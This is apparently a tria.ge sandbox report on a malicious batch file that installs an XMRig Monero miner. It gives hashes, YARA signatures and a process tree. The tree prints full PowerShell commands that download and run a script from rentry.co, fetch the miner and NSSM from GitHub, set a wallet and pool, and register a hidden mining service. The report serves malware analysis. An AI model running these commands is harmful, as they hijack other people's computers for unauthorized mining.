Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1049s -
max time network
1038s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
30/06/2024, 10:01
Static task
static1
Behavioral task
behavioral1
Sample
11265123215810.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
11265123215810.bat
Resource
win10v2004-20240508-en
General
-
Target
11265123215810.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral1/files/0x000700000001ac1b-128.dat family_xmrig behavioral1/files/0x000700000001ac1b-128.dat xmrig behavioral1/memory/208-131-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-413-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-414-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-426-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-427-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-430-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-431-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-432-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-433-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-434-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-435-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-436-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-437-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-438-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-439-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-440-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-441-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-442-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-443-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-444-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-445-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-447-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-448-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-449-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-450-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-451-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-452-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-453-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-454-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-455-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-456-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-457-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-458-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-459-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-460-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-461-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-462-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-463-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-464-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-465-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-466-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-467-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-468-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-469-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-470-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-471-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-472-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-473-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/3140-474-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 3356 powershell.exe 5 1188 powershell.exe 7 2320 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 208 xmrig.exe 1956 nssm.exe 3152 nssm.exe 2940 nssm.exe 5100 nssm.exe 2064 nssm.exe 4892 nssm.exe 4256 nssm.exe 3140 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 raw.githubusercontent.com 4 raw.githubusercontent.com 5 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4312 sc.exe 3144 sc.exe 3084 sc.exe 2708 sc.exe -
pid Process 4784 powershell.exe 524 powershell.exe 2320 powershell.exe 3356 powershell.exe 436 powershell.exe 3508 powershell.exe 1912 powershell.exe 3372 powershell.exe 4724 powershell.exe 3332 powershell.exe 2224 powershell.exe 2204 powershell.exe 1188 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 1072 timeout.exe 368 timeout.exe 4832 timeout.exe 1100 timeout.exe 3688 Process not Found 2260 timeout.exe 4548 timeout.exe 4764 Process not Found 4956 timeout.exe 4444 timeout.exe 1416 Process not Found 2700 timeout.exe 4368 Process not Found 1440 timeout.exe 3424 timeout.exe 4180 Process not Found 3484 timeout.exe 4480 timeout.exe 4828 timeout.exe 3528 Process not Found 4308 timeout.exe 760 timeout.exe 1300 Process not Found 1472 Process not Found 2024 Process not Found 4680 timeout.exe 4284 Process not Found 216 timeout.exe 240 timeout.exe 4880 timeout.exe 2004 Process not Found 4800 timeout.exe 3372 timeout.exe 3356 timeout.exe 5108 timeout.exe 4632 timeout.exe 440 timeout.exe 3860 timeout.exe 3092 timeout.exe 1412 timeout.exe 2664 timeout.exe 428 timeout.exe 4572 Process not Found 4888 Process not Found 5080 Process not Found 1540 timeout.exe 2196 timeout.exe 4124 timeout.exe 3152 timeout.exe 2152 timeout.exe 3700 Process not Found 3424 Process not Found 1336 timeout.exe 1100 timeout.exe 1440 timeout.exe 4768 Process not Found 352 Process not Found 2992 Process not Found 3460 Process not Found 208 Process not Found 4544 timeout.exe 2608 timeout.exe 1672 Process not Found 4132 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 1848 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 3356 powershell.exe 3356 powershell.exe 3356 powershell.exe 1188 powershell.exe 1188 powershell.exe 1188 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 3372 powershell.exe 3372 powershell.exe 3372 powershell.exe 524 powershell.exe 524 powershell.exe 524 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 3332 powershell.exe 3332 powershell.exe 3332 powershell.exe 3508 powershell.exe 3508 powershell.exe 3508 powershell.exe 2224 powershell.exe 2224 powershell.exe 2224 powershell.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 1912 powershell.exe 1912 powershell.exe 1912 powershell.exe 2320 powershell.exe 2320 powershell.exe 2320 powershell.exe 2204 powershell.exe 2204 powershell.exe 2204 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3356 powershell.exe Token: SeDebugPrivilege 1848 taskkill.exe Token: SeDebugPrivilege 1188 powershell.exe Token: SeDebugPrivilege 4784 powershell.exe Token: SeDebugPrivilege 3372 powershell.exe Token: SeDebugPrivilege 524 powershell.exe Token: SeDebugPrivilege 4724 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeDebugPrivilege 3508 powershell.exe Token: SeDebugPrivilege 2224 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeDebugPrivilege 1912 powershell.exe Token: SeDebugPrivilege 2320 powershell.exe Token: SeDebugPrivilege 2204 powershell.exe Token: SeLockMemoryPrivilege 3140 xmrig.exe Token: SeIncreaseQuotaPrivilege 2164 WMIC.exe Token: SeSecurityPrivilege 2164 WMIC.exe Token: SeTakeOwnershipPrivilege 2164 WMIC.exe Token: SeLoadDriverPrivilege 2164 WMIC.exe Token: SeSystemProfilePrivilege 2164 WMIC.exe Token: SeSystemtimePrivilege 2164 WMIC.exe Token: SeProfSingleProcessPrivilege 2164 WMIC.exe Token: SeIncBasePriorityPrivilege 2164 WMIC.exe Token: SeCreatePagefilePrivilege 2164 WMIC.exe Token: SeBackupPrivilege 2164 WMIC.exe Token: SeRestorePrivilege 2164 WMIC.exe Token: SeShutdownPrivilege 2164 WMIC.exe Token: SeDebugPrivilege 2164 WMIC.exe Token: SeSystemEnvironmentPrivilege 2164 WMIC.exe Token: SeRemoteShutdownPrivilege 2164 WMIC.exe Token: SeUndockPrivilege 2164 WMIC.exe Token: SeManageVolumePrivilege 2164 WMIC.exe Token: 33 2164 WMIC.exe Token: 34 2164 WMIC.exe Token: 35 2164 WMIC.exe Token: 36 2164 WMIC.exe Token: SeIncreaseQuotaPrivilege 2164 WMIC.exe Token: SeSecurityPrivilege 2164 WMIC.exe Token: SeTakeOwnershipPrivilege 2164 WMIC.exe Token: SeLoadDriverPrivilege 2164 WMIC.exe Token: SeSystemProfilePrivilege 2164 WMIC.exe Token: SeSystemtimePrivilege 2164 WMIC.exe Token: SeProfSingleProcessPrivilege 2164 WMIC.exe Token: SeIncBasePriorityPrivilege 2164 WMIC.exe Token: SeCreatePagefilePrivilege 2164 WMIC.exe Token: SeBackupPrivilege 2164 WMIC.exe Token: SeRestorePrivilege 2164 WMIC.exe Token: SeShutdownPrivilege 2164 WMIC.exe Token: SeDebugPrivilege 2164 WMIC.exe Token: SeSystemEnvironmentPrivilege 2164 WMIC.exe Token: SeRemoteShutdownPrivilege 2164 WMIC.exe Token: SeUndockPrivilege 2164 WMIC.exe Token: SeManageVolumePrivilege 2164 WMIC.exe Token: 33 2164 WMIC.exe Token: 34 2164 WMIC.exe Token: 35 2164 WMIC.exe Token: 36 2164 WMIC.exe Token: SeIncreaseQuotaPrivilege 2280 WMIC.exe Token: SeSecurityPrivilege 2280 WMIC.exe Token: SeTakeOwnershipPrivilege 2280 WMIC.exe Token: SeLoadDriverPrivilege 2280 WMIC.exe Token: SeSystemProfilePrivilege 2280 WMIC.exe Token: SeSystemtimePrivilege 2280 WMIC.exe Token: SeProfSingleProcessPrivilege 2280 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3140 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 408 wrote to memory of 3356 408 cmd.exe 73 PID 408 wrote to memory of 3356 408 cmd.exe 73 PID 3356 wrote to memory of 1756 3356 powershell.exe 74 PID 3356 wrote to memory of 1756 3356 powershell.exe 74 PID 1756 wrote to memory of 4472 1756 cmd.exe 75 PID 1756 wrote to memory of 4472 1756 cmd.exe 75 PID 4472 wrote to memory of 4780 4472 net.exe 76 PID 4472 wrote to memory of 4780 4472 net.exe 76 PID 1756 wrote to memory of 3508 1756 cmd.exe 77 PID 1756 wrote to memory of 3508 1756 cmd.exe 77 PID 1756 wrote to memory of 928 1756 cmd.exe 78 PID 1756 wrote to memory of 928 1756 cmd.exe 78 PID 1756 wrote to memory of 488 1756 cmd.exe 79 PID 1756 wrote to memory of 488 1756 cmd.exe 79 PID 1756 wrote to memory of 648 1756 cmd.exe 80 PID 1756 wrote to memory of 648 1756 cmd.exe 80 PID 1756 wrote to memory of 2288 1756 cmd.exe 81 PID 1756 wrote to memory of 2288 1756 cmd.exe 81 PID 1756 wrote to memory of 4312 1756 cmd.exe 82 PID 1756 wrote to memory of 4312 1756 cmd.exe 82 PID 1756 wrote to memory of 3144 1756 cmd.exe 83 PID 1756 wrote to memory of 3144 1756 cmd.exe 83 PID 1756 wrote to memory of 1848 1756 cmd.exe 84 PID 1756 wrote to memory of 1848 1756 cmd.exe 84 PID 1756 wrote to memory of 1188 1756 cmd.exe 86 PID 1756 wrote to memory of 1188 1756 cmd.exe 86 PID 1756 wrote to memory of 4784 1756 cmd.exe 87 PID 1756 wrote to memory of 4784 1756 cmd.exe 87 PID 1756 wrote to memory of 3372 1756 cmd.exe 88 PID 1756 wrote to memory of 3372 1756 cmd.exe 88 PID 1756 wrote to memory of 208 1756 cmd.exe 89 PID 1756 wrote to memory of 208 1756 cmd.exe 89 PID 1756 wrote to memory of 876 1756 cmd.exe 90 PID 1756 wrote to memory of 876 1756 cmd.exe 90 PID 876 wrote to memory of 524 876 cmd.exe 91 PID 876 wrote to memory of 524 876 cmd.exe 91 PID 524 wrote to memory of 352 524 powershell.exe 92 PID 524 wrote to memory of 352 524 powershell.exe 92 PID 1756 wrote to memory of 4724 1756 cmd.exe 93 PID 1756 wrote to memory of 4724 1756 cmd.exe 93 PID 1756 wrote to memory of 3332 1756 cmd.exe 94 PID 1756 wrote to memory of 3332 1756 cmd.exe 94 PID 1756 wrote to memory of 3508 1756 cmd.exe 95 PID 1756 wrote to memory of 3508 1756 cmd.exe 95 PID 1756 wrote to memory of 2224 1756 cmd.exe 96 PID 1756 wrote to memory of 2224 1756 cmd.exe 96 PID 1756 wrote to memory of 436 1756 cmd.exe 97 PID 1756 wrote to memory of 436 1756 cmd.exe 97 PID 1756 wrote to memory of 1912 1756 cmd.exe 98 PID 1756 wrote to memory of 1912 1756 cmd.exe 98 PID 1756 wrote to memory of 2320 1756 cmd.exe 99 PID 1756 wrote to memory of 2320 1756 cmd.exe 99 PID 1756 wrote to memory of 2204 1756 cmd.exe 100 PID 1756 wrote to memory of 2204 1756 cmd.exe 100 PID 1756 wrote to memory of 3084 1756 cmd.exe 101 PID 1756 wrote to memory of 3084 1756 cmd.exe 101 PID 1756 wrote to memory of 2708 1756 cmd.exe 102 PID 1756 wrote to memory of 2708 1756 cmd.exe 102 PID 1756 wrote to memory of 1956 1756 cmd.exe 103 PID 1756 wrote to memory of 1956 1756 cmd.exe 103 PID 1756 wrote to memory of 3152 1756 cmd.exe 104 PID 1756 wrote to memory of 3152 1756 cmd.exe 104 PID 1756 wrote to memory of 2940 1756 cmd.exe 105 PID 1756 wrote to memory of 2940 1756 cmd.exe 105
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\11265123215810.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3356 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5851.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:4780
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:3508
-
-
C:\Windows\system32\where.exewhere find4⤵PID:928
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:488
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:648
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:2288
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:4312
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:3144
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4784
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:352
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4724
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3332
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Fcxhtlhl\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2224
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:3084
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2708
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:1956
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:3152
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:2940
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:5100
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:2064
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:4892
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:716
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4320
-
-
